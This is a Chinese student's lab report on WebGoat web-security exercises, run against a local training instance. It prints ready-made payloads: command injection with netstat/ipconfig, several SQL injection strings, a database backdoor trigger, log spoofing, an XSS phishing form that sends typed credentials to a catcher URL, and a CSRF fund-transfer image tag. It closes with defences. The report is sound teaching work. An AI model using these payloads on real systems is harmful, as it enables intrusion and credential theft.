zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础

    目录

    一、实验内容
    二、实验步骤
    1、Webgoat前期准备

    2、SQL注入攻击

    3、XSS攻击

    4、CSRF攻击

    三、实验中遇到的问题
    四、实验总结
    1、实验后回答问题
    2、实验感想

    一、实验内容

    本实践的目标理解常用网络攻击技术的基本原理。完成Webgoat实践下相关实验。

    返回目录

    二、实验步骤

    1、Webgoat前期准备

    • 从GitHub上下载jar包,并拷贝到本地
    • 使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat
    • 打开浏览器输入localhost:8080/WebGoat,使用默认名和密码登录WebGoat课程

    返回目录

    2、SQL注入攻击

    • 选择Injection Flaws

    Command Injection,即命令注入,是对任何参数驱动的站点的严重威胁,且容易扩散,造成更坏的影响。

    • 右键选择Inspect Element进入调试界面,对源代码进行修改
    • 选择在下拉列表的BackDoors.help后面加上"& netstat -an & ipconfig",其中netstat -an命令能看到所有和本地计算机建立连接的IP,而ipconfig可以查看本机IP信息

    • 点击View,可看到命令的输出结果,即所有和本地计算机建立连接的IP和本机IP信息,攻击成功!

    返回目录

    Numeric SQL Injection,即数字型注入,在SELECT * FROM weather_data WHERE station = [station]中station 字段中注入特征字符,能组合成新的SQL 语句。

    • 右键选择Inspect Element进入调试界面,对源代码进行修改
    • 在选项列表中,任意选择一个值,比如101,后面加上or 1=1

    • 即可看见所有城市的天气状况

    返回目录

    Log Spoofing,即日志欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。

    • 在文本框中输入用户名yanhan%0d%0aLogin Succeeded for username: admin,其中%0d是空格,%0a是换行

    返回目录

    String SQL Injection,即字符串注入,基于某个特殊查询语句构造SQL注入字符串。

    • 在last name中输入' OR '1'='1,由于'1'='1'是永真式,所有的用户信息将会被输出

    返回目录

    LAB:SQL Injection,即实验室SQL注入,分为以下几个Stage

    Stage1:String SQL Injection,即字符串注入

    • 和上面的任务一样,在密码框中输入' or 1=1 --,可以在不知道密码的情况下登录账户Neville

    Stage3:Numeric SQL Injection,即数字型注入

    • 和上面的任务一样,修改网页代码中的value值,value值是员工ID,而要设置成老板的ID,可以使用排序来筛选信息,因为老板一般工资都是最高的,将id的value改成101 or 1=1 order by salary desc --,就可以以员工身份查看老板的工资了

    返回目录

    Database Backdoors,即数据库后门

    • 在输入框中输入101; update employee set salary=6666可以更新员工工资,没有经过任何验证就可以简单更改数据表

    • 同理可以设置增删查改语句对数据库进行操作

    • 在输入框输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid,意思是创建一个后门触发器,当有人往数据表里插入一行数据时,就会自动触发该后门,接着将新插入一行的email设置为john@hackme.com,攻击者就可以通过邮箱接收到消息了~

    返回目录

    3、XSS攻击

    Phishing with XSS,即网络钓鱼,在XSS的帮助下,可以制作钓鱼工具或向某些官方页面中增加内容,很难发现该内容是否存在威胁。

    • 先编写一个有用户名和密码输入框的表单
    <form name="phish">
    <br>
    <br>
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    
    • 再编写onclick时对应的hack()函数
    <script>
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
            alert("You are under attack!!!User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
    </script>
    
    • 最后将两个代码综合在一起,直接输入搜索框,设计出一个简单的登录界面获取用户名和密码,并弹出警告框

    返回目录

    4、CSRF攻击

    跨站请求伪造,目标是向新闻组发送电子邮件,该电子邮件包含一个图像,其URL指向恶意请求,通过身份认证的CSRF电子邮件的接收者将转移资金。

    • 查看右边列表参数,在title框中输入任意标题,在Message框中输入<img src="attack?Screen=380&menu=900&transferFunds=100000"/>,当满足Screen值为380,menu值为900时,产生攻击链接,一旦点击该链接就会触发转移100000的资金。

    返回目录

    三、实验中出现的问题

    • 实现SQL注入攻击中实验室注入攻击时,出现输入的SQL指令没有问题,但是登录失败的问题

    解决过程:
    由于源代码规定了密码框长度为8位,故编写的SQL语句无法完全写入密码框,在源代码中更改密码长度即可。

    返回目录

    四、实验总结

    1、实验后回答问题

    • SQL注入攻击原理,如何防御

    对漏洞注入点相关代码进行处理,筛除特殊字符,以规范代码安全性;

    关闭或删除不必要的交互式提交表单页面;

    普通用户与系统管理员用户的权限要有严格的区分;

    不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点。

    • XSS攻击的原理,如何防御

    网站开发者运用转义安全字符等手段,并且坚持不相信用户输入的任何数据的原则

    表单提交的时候进行特殊字符的检测

    对输入框做长度限制

    在后台对数据进行过滤

    • CSRF攻击原理,如何防御

    使用令牌,每一个网页包含一个web server产生的令牌,提交时,也将该令牌提交到服务器,服务器进行判断,如果令牌不符合,就判定存在CSRF攻击;

    将提交方法改为post,或将 GET请求设置为只浏览而不改变服务器端资源

    定期清理cookie

    使用随机数对表单中的值进行验证

    返回目录

    2、实验感想

    终于是最后一个实验啦yeah!通过这学期9个实验的漫漫长路,我发现自己学到了很多新知识,对网络攻防的内容也有一些兴趣,虽然很多方面做的还是有所不足,但是仍然收获颇丰,至少我明白了网络环境危机四伏,不要轻易在网络上泄漏自己的私密信息。

    返回目录

  • 相关阅读:
    121.买卖股票 求最大收益1 Best Time to Buy and Sell Stock
    409.求最长回文串的长度 LongestPalindrome
    202.快乐数 Happy Number
    459.(KMP)求字符串是否由模式重复构成 Repeated Substring Pattern
    326.是否为3的平方根 IsPowerOfThree
    231.是否为2的平方根 IsPowerOfTwo
    461.求两个数字转成二进制后的“汉明距离” Hamming Distance
    206.反转单链表 Reverse Linked List
    448. 数组中缺少的元素 Find All Numbers Disappeared in an Array
    常见表单元素处理
  • 原文地址:https://www.cnblogs.com/yh666/p/10917877.html
Copyright © 2011-2022 走看看